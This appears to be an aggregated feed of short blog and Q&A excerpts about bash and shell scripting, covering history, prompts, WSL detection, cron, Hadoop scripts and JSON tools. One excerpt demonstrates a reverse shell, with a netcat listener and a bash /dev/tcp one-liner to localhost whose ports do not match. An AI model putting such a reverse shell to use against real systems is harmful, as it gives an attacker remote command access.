I like the iTerm2's Command History feature, Cmd+Shift+;, to quickly find a command from the history. But there are some commands that I want to remove from the list, I already run command like sed -i "" '/searchstring/d' "$HISTFILE" to delete them from bash history file. But when I run Cmd+Shift+;, these commands still show, where iTerm2 store them, how can I update and delete some commands from it?| Recent Questions - Super User
In .bashrc, I have some configuration for specific environments like this. if [ "$(uname)" = 'Linux' ]; then . "$HOME/.bash.d/ubuntu" fi if [ "$(uname)" = 'Darwin' ]; then . "$HOME/.bash.d/osx" fi To know whether the current environment is under WSL, I use the /etc/wsl.conf file that normally only exists in WSL. if [ -f "/etc/wsl.conf" ]; then . "$HOME/.bash.d/wsl" fi But of course, the file can also exist in other environments. How should I check if the current environment is running in WSL?| Recent Questions - Super User
Bijna elke developer komt zo nu en dan in aanraking met de terminal. Hoewel dit niet vervelend hoeft te zijn is het vaak een obstakel dat je moet overwinnen| AMIS Technology Blog
Alpine defaults to ash as the login shell, I want to change it to bash. What I did so far: installed bash by sudo apk add bash installed shadow by sudo apk add shadow I changed my user's login shell to /bin/bash with chsh checked that /etc/passwd contains /bin/bash as default login shell for my user but that seems to be ignored. When I login (on console or ssh) I always end up in the ash shell.| Recent Questions - Server Fault
System is newly installed debian 10. I cannot get the permission of /run/user/1000/gvfs properly,changed from d????????? ? ? ? ? ? to dr-x------ when cd /run/user/1000. me@pc:~$ sudo ls -al /run/user/1000 [sudo] password for me: ls: cannot access '/run/user/1000/gvfs': Permission denied total 0 drwx------ 11 me me 280 Jul 22 14:53 . drwxr-xr-x 3 root root 60 Jul 22 02:07 .. srw-rw-rw- 1 me me 0 Jul 22 02:06 bus drwx------ 3 me me 60 Jul 22 02:06 dbus-1 drwx------ 2 me me 60 Jul 22 14:53 dconf...| Recent Questions - Server Fault
My personal blog| anagogistis
A shell script that displays project information and cost tracking from ccusage in Claude Code's status line, helping developers monitor their AI coding sessions and usage patterns.| Andrea Grandi
普段使っているzshで echo '\e[0;31;47m CAUTION!! \e[0m' みたいに書くと、色付き表示される。 これでヨシッ! と思ってうっかり #!/bin/bash echo '\e[0;31;47m CAUTION!! \e[0m' とshell scriptを書いてしまうと、これは意図した表示にならない。 macOSのbash echoにはバグがあるらしい bash+windows terminalではこういう問題起きていない、ということだったので調べたところ、特にmacOSの標準のbashに問題...| すぎゃーんメモ
So, for whatever reason, while running ls command, I wanted my directory to be sorted by the length of the names in it, not by some other sorting method ls uses. After a bit of trial and error experimenting, I ended up with the following pipeline to do that: for i in *; do echo `echo "$i" | wc -c` "$i"; done | sort -n | cut -f2- -d" " | xargs -d \\n ls -Uld Let's break this command into peaces| Everything about nothing
I just changed one of my scripts that, in principle, looked like this: for i in `find . -type d`do # do some processing on the found directorydone The new format I use is: find . -type d | while read ido # do some processing on the found directorydone While both versions will work in general, the second variant is better for the following reasons: It's faster.| Everything about nothing
Here is how to get reverse remote shell. I say reverse because the remote system is connecting to you. I'll demonstrate it on a single machine for simplicity. So, open a terminal and run the following command in it: nc -l 12345 This will start netcat which will listen on port 12345. Then, in the second terminal, run the following command: /bin/bash -c bash -i >& /dev/tcp/127.0.0.1/8080 0| Everything about nothing
How to run a clean up script when your NextJS dev server is shut down| SOS
Instead of changing your wallpaper, it changes your computer wallpaper.| ideatrash
If you don't want to watch videos from … a particular site … using your browser, this linux script may help you out.| ideatrash
I often find myself needing to terminate processes containing certain string literals or whose call matches a given regular expression. For that reason I probably re-write and tweak this one-liner several times a month; which is why I’m putting it out there.| Jayson Salazar Rodriguez | @jdsalaro | Blog
| Jayson Salazar Rodriguez | @jdsalaro | Blog
本文永久链接 - https://tonybai.com/2025/07/14/writing-style-guide 大家好,我是Tony Bai。 作为一名开发者、架构师或运维专家,我们大部分时间都在与代码、系统和架构打交道。然而,我们同样在持续不断地进| tonybai.com
Modern UNIX shells like bash (default on Linux) and zsh (default on macOS) keep a history of all the commands you enter. The easiest way to access this history is by pressing the up and down cursor keys to browse through the last commands. But this is only the tip of the iceberg. There are … Continue reading Making the most of your Shells History on Linux and macOS| Abstract Expression
I bet that whenever you think of a simple database, you think of sqlite. There’s nothing wrong with that but the filesystem itself can be an even simpler substitute.| twdev.blog
Otro script en Bash para escuchar la emisora que queramos de Somafm desde la terminal de nuestro sistema GNU/Linux| Victorhck in the free world
Ever feel like your AI tools are a bit...well, passive? Like they just sit there, waiting for your next command? Imagine if they could take initiative, break down big problems, and even work together to get things done. That's exactly what LLM agents...| freeCodeCamp.org
17 April 2023 by Phillip JohnstonI am slowly working on migrating many of my bash scripts to Python. A common operation I perform is find. Since I need to replace a lot of these, I want to document replacement patterns. Here is an example of a find command that we’ll use as a reference: # … Continue reading "Replacing find Shell Commands with Python" The post Replacing find Shell Commands with Python appeared first on Embedded Artistry.| Embedded Artistry
Confession time: I don’t fully understand how terminals, shells and SSH really work (and my guess is you don’t either). And I don’t mean the cryptography behind SSH. I mean how SSH and the terminal — and the shell for that matter — interact with one another. I recently realized that even though I’ve been […] The post I don’t understand terminals, shells and SSH appeared first on Jan van den Berg.| Jan van den Berg
Con Oh My Bash podrás añadir nuevos estilos de prompts, nuevos temas, y nuevas funcionalidades a tu Bash de toda la vida| Victorhck in the free world
Long story short: yesterday, I worked on an old C project and refactor the entire structure. That project counts hundreds of files and, when deleting the unused .c files, I was thinking about an auto-magical method to delete also the coupled .h file.| Gabriele Serra’s Webpage
More often than I would like, I'm commiting using git commit -a, and I end up with files commited that aren't supposed to be there To undo the latest commit, I can git reset HEAD~, but for whatever reason, I can't fit this in my head. So I just added …| (not) my ideas
I've had a situation in which I wanted to check the memory consumption of a long-running process on my machine. For this, I discovered I can use the time gnu utility (which is different from the bash time). I didn't know it was possible to have this information this way …| (not) my ideas
In need to backup my personal files in the cloud, I wrote a script that archives the data into the Amazon S3 bucket. After some fine-tuning and solving a bunch of edge-cases, it's limited mainly by the disk read and my internet upload speed. And it costs me only $3.70 per TiB per month.| Better Dev
Bash scripts. Almost anyone needs to write one sooner or later. Almost no one says "yeah, I love writing them". And that's why almost everyone is putting low attention while writing them.| Better Dev
This blog demonstrates how to use DeepSeek-R1 for text generation using Ollama, a tool for running LLMs locally. These instructions align with the usage described on the DeepSeek-R1 page at ollama.com. 1. Install Ollama Ollama currently supports macOS (both Intel and Apple Silicon). Install it using Homebrew: brew install ollama Confirm the installation by checking […]| Collabnix
The problem Clearing the screen on the terminal is quite finicky. The behaviour on some emulators (Ghostty, Kitty & co.) is massively different than say on iTerm2 or the macOS built-in Terminal.app. You see, I tend to use the command clear, which is aliased to c in my case. Now, I like to keep the scrollback buffer intact. Using clear, the scrollback is only preserved so far by iTerm2 and the Terminal.app. In all the other emulators that I’ve tried so far, the scrollback gets cut off – fr...| macOS & (open-source) Software
Reading Time: 2minutesAmazon MQ queues might fill up if you use them in your tests but don’t take care of cleaning them up. Let’s explore together a way of addressing this issue. I was hoping to avoid writing dedicated code to just consume all the messages enqueued during tests so I started looking around for some tool […] The post How to keep your Amazon MQ queues clean appeared first on Alessandro Diaferia.| Alessandro Diaferia
A list of my most used commands in my terminal| Andrea Grandi
Have you ever wanted to send desktop notifications from your command line on macOS? This can be particularly useful when you want to be notified when a long-running process completes. For example, you could append ; notify "Task completed!" to any command. While there are several ways to do this, I find using AppleScript through the osascript command to be the simplest approach. Here’s a handy shell function that lets you send notifications with just a single command.| Ishan Das Sharma
Как сделать чтобы автодополнение Makefile работало в macOS для bash? Сначала убедитесь, что у вас установлен bash-completion. Затем добавьте это […] Статья Автодополнение в Bash для Makefile на macOS появилась вначале на WP Yoda.| WP Yoda
It's a guide to cron.| Moving Forward
Beginner’s Guide to Regular Expressions with Examples  apps for years, I have finally settled to Obsidian. The tool itself and the reasoning behind this choice deserves its own blog post, but in this blog post I’m going to open up the syncing solution I came up with. My number one goal with Obsidian was […]| @rolle / Web designer, web developer
Many open source projects use Bugzilla, JIRA, or some other workflow where contributions are submitted via a patch file attached to a bug report or even an email. This workflow means working with a raw patch file. Working with these files can be a bit of a pain as one tries to figure out what… Read More »| Effective Machines
"Super Heroes" (CC BY-SA 2.0) by Olaf Gradin A lot of work has been done to greatly clarify and enhance various environment variables in the Apache Hadoop shell script code. One of those places was in the usage of various _USER environment variables. Prior to 3.0.0-alpha4 In previous releases, the supported variables were: Name Description HADOOP_SECURE_DN_USER User to… Read More »| Effective Machines
A recent Linux kernel update to workaround CVE-2017-1000366 is causing Apache Hadoop’s secure DataNode (and NFS manager) to crash on startup. (Related discussion from Red Hat and Ubuntu) If your systems are running a variant of Apache Hadoop 3.x, you can take advantage of user functions to workaround the Java Invocation API issue that causes… Read More »| Effective Machines
One of the features in Apache Hadoop 3.x is the ability to replace how the shell scripts work without having to support a code fork. This feature makes adding support for site or OS specific featur…| Effective Machines
When I stand up containers and virtual machines on my home network, I typically set them up with postfix using Gmail’s SMTP servers and my Gmail account so they can send emails like notifications and alerts. But as part of an ongoing effort to diversify my tech stack, I decided to make two leaps at once for new containers and VMs going forward: using sendmail as the MTA instead of postfix, and using Fastmail’s SMTP server.| texastim.dev
Sur mon ordinateur, j'utilise le système Archlinux avec GNOME. En bon informaticien feignant, j'ai automatisé quelques actions répétitives. Par exemple, lorsque je veux partager une photo prise avec mon téléphone …| mart-e
How to cut a video in your terminal.| blog.dbrgn.ch
How to set a random wallpaper from a directory on bash using feh.| blog.dbrgn.ch
Yet another “build a WireGuard VPN” guide! This setup here is mostly automated with scripts and Infrastructure as Code. It is meant to be quick temporary VPN setup; you spin it up in a few minutes, do whatever and destroy after use. There’s only about 50 lines of bash to put everything together. This guide […]| Bruceoutdoors Blog of Blots
It’s always nice to learn a new trick that may ever so slightly improve the way we use our tools. Today i learned two such little tricks regarding the command-line.| Demian’s blog
I’m a fan of alphabetically ordered lists in code and many other places too. It provides an obvious structure for lists of packages, variables, strings, and many other things. It makes checking by eye for the presence or absence of a member or element very quick. As a code base undergoes changes over time, the use of alphabetical order can result in diffs that are smaller and easier to grok. Plus I think alphabetical order appeals on an aesthetic level too, aside from the many practical con...| texastim.dev
Turns out it’s pretty easy to turn a Bash script into a system service that starts on boot and restarts automatically if it goes down. Here’s how.| texastim.dev
When writing bash scripts, I often need to know if the script is| A Scripter's Notes
I use emacs – with a server1 and client setup – so that I| A Scripter's Notes
Outdated post on how to build hugo from source with the latest| A Scripter's Notes
I was working on a tcsh script that did some cool stuff. But if a| A Scripter's Notes
Shell script snippets to check if you have an executable or binary| A Scripter's Notes
EndeavourOS do ship only default .bashrc (bash configuration) but as you may know there are endless. Here you will find some basic settings and hints on customizing your bash prompt and behavior of…| Discovery
So in my last post I discussed my pyserv bash function that looks and behaves like a program. I didn't exactly disect it, but I have a different one that I will disect. Meet my nifty function called sandbox: sandbox(){if[[-z"$1"]];thenecho"sandbox: No directory provided"else …| cat /dev/brain
Tips and tricks for using JC interactively, in scripts, and in automation. In Part 2 we look at using JC to parse URLs, POSIX paths, and git log output.| Brazil's Blog
The bash command history shows the previously used commands. By default, the history is saved in memory per session and can be saved to a file for later sessions. We will explore ways to show, search and modify the history in this blog post. I use RHEL and Debian-based Linux distributions and bash in this blog post as a reference. Configuration # I want to start with ways to configure the behavior of the bash history. The configuration of the history can be changed in the bash startup file. T...| ITTavern.com
An email with a trojan Microsoft Word document made it past the spam filter today at work. At least one user reported opening the attachment. The attachment was named: DOCO943488.doc, but running the file through virustotal.com it was clear that it’s been known by other names.. To help affected people find this page here are […]|
I like Bash, but it isn’t well suited for some tasks. For fun I sometimes ignore that. Occasionally people seem to find this useful. In that spirit, here is my implementation of the popular Luhn / mod10 algorithm used in credit card, IMEI, and other number sequences. download [luhn.zip] # Returns Luhn checksum for supplied […]|
Tips and tricks for using JC. In Part 1 we look at using JC as a Subnet Calculator, for exploring X.509 certificates, and for converting dates and timestamps.| Brazil's Blog
If you want to do an ongoing speedtest with graphs for up- and| 200ok - Accelerating Publishing
Shell Locality| The Grumpy Troll
As a VIM lover, have you ever wondered the possibility of using vim bindings to edit commands in your shell? Or perhaps you’re curious about how to manage lengthy commands effortlessly, without getting lost in endless flag combinations? If so, buckle up! You’re in for a treat! In this blog post, we will introduce you to an indispensable yet often overlooked component of the Bash environment - the .inputrc file. This secret sauce allows users to customize readline, the built-in line editor...| deuterium’s blog
Cloudinary is an amazing image hosting service that offers both a highly functional free tier in addition to a paid enterprise grade image hosting and transformation service. In this tutorial I demonstrate a few simple bash shell scripts to interface with Cloudinary.| Chris Bergerons Tech Blog
This is a quick tutorial about setting up a simple shell script that runs periodically to update a DNS record on the internet with the IP address of your network. If you’ve ever wanted to have myhome.mydomain.com always updated with your home IP address, this is one way you can do it. There are paid and free services that offer this functionality, but I choose to use this method because it gives me ultimate flexibility over my domain. This tutorial assumes you have your own Top Level Domain...| Chris Bergerons Tech Blog
I put together a quick bash shell script to view system info at a glance. I know there are existing tools for this like inxi, but I wanted to put something together I can copypasta. This is specific to RHEL, Centos and Sci Linux but it can be easily adapted for other distros.| Chris Bergerons Tech Blog
Shell script and AWK are very complementary languages. AWK was designed from its very beginnings at Bell Labs as a pattern-action language for short programs, ideally one or two lines long. It was intended to be used on the Unix … Continue reading →| Arabesque
As part of its programmable completion suite, Bash includes hostname completion. This completion mode reads hostnames from a file in hosts(5) format to find possible completions matching the current word. On Unix-like operating systems, it defaults to reading the file … Continue reading →| Arabesque
Large shell startup scripts (.bashrc, .profile) over about fifty lines or| Arabesque
In Bash scripting (and shell scripting in general), we often want to check the| Arabesque
Featured Photo by energepic.com I’ve had a love-hate relationship with Bootstrap for a long time. While I love how fast it lets me get going, I absolutely hate the cookie cutter vibe of most of the stuff that I end up making with it. Bootswatch is awesome, and I know that I could customize my theme with SASS variables, but that adds a build step, which is additional complexity that I want to avoid when I am making business/CRUD applications.| Ishan Das Sharma
DNS 101| www.integralist.co.uk
Security basics with GPG, OpenSSH, OpenSSL and Keybase| www.integralist.co.uk
When beginning to use the terminal, we might accidentally delete our .bashrc file. What is the .bashrc file? The .bashrc file is a configuration file used by the bash shell. It contains all the environment variables, user defined functions, aliases and other config including the prompt layout. It is a full-fledged shell script, so we can have custom commands in it as well, which runs all the commands when a new process of the shell is started.| Ishan Das Sharma
Recently, I discovered a great feature that most of recent Shells support. It is named brace expansion. I used it occasionally but without knowing how it beh...| pellegrino.link
Bash is slow. Supporting a nested inheritance structure on top of bash makes it even slower. Without metadata caches, processing ebuilds would be extraordinarily more painful than it already is. Imagine the extra time it would take to source all the ebuilds required to run a command such as emerge -e world before dependency resolution can begin.| pkgcraft.github.io
In the previous post on extending bash, using builtins was mentioned as a way to improve extensibility. Rather than writing native bash functions or spawning processes to run external tools, pkgcraft implements all its bash command support using builtins.| pkgcraft.github.io
Basing a package manager and related specification on bash is a mistake. Familiarity and hackability are great in the short-term, but as the novelty wears off it becomes clear that maintainability, efficiency, and other attributes hard to wrest from bash’s rigid design all suffer.| pkgcraft.github.io
In this article I give a quick snapshot of what it's like to work with JSON in various traditional and next generation shells. Traditional shells like Bash and Windows Command Prompt (cmd.exe) don't have built-in JSON support and require 3rd party utilities. Newer shells like NGS, Nushell, Oil, Elvish, Murex, and PowerShell have JSON serialization/deserialization and filtering capabilities built-in for a cleaner experience.| Brazil's Blog
Here is a Bash script for getting a tag value from within a running EC2 Instance. For more information on AWS EC2, please see: https://aws.amazon.com/ec2/ If you're using one of the standard AWS EC2 images, such as Ubuntu, then you'll have everything you need already installed. Thankfully, Amazon installs some tooling on your host that'll help| JamesCoyle.net
Guide to profiling Wordpress with tideways XHProf PHP profiler to debug and optimize slow web server page load speed| Michael Altfield's Tech Blog
How to detect malicious bidirectional unicode characters in PR commits using a GitHub Actions workflow (Defending against Trojan Source attacks)| Michael Altfield's Tech Blog
The need and idea of anonymity is as relevant today as ever. Now is the time to grant this right to your Bash scripts.| Testableapple
Learn how to write your wrapper scripts for supervisord or Docker such that they react correctly to SIGTERM.| Andreas Veithen's blog
Git has pretty decent and extensible bash completion. We'll teach you how to extend this completion for your own git subcommands.| Git Cookbook
Why your bash prompt may be wrapping incorrectly and how to fix it| superchlorine
When you work with Kubernetes, kubectl is your friend. It allows you to communicate with the Kubernetes API Server on your command line of choice which, makes it the main steering wheel used by developers| Marc Brandner
Take a look at my favorite Bash shortcuts that have saved me a ton of time.| S.Bistrović
The common default of some variant of \h:\w\$ for a Bash prompt PS1| Arabesque
Continuous Documentation guide to hosting a sphinx-powered documentation-as-code site (using the Read the Docs theme) on a GitHub Pages site, built with GitHub's free CI/CD tools.| Michael Altfield's Tech Blog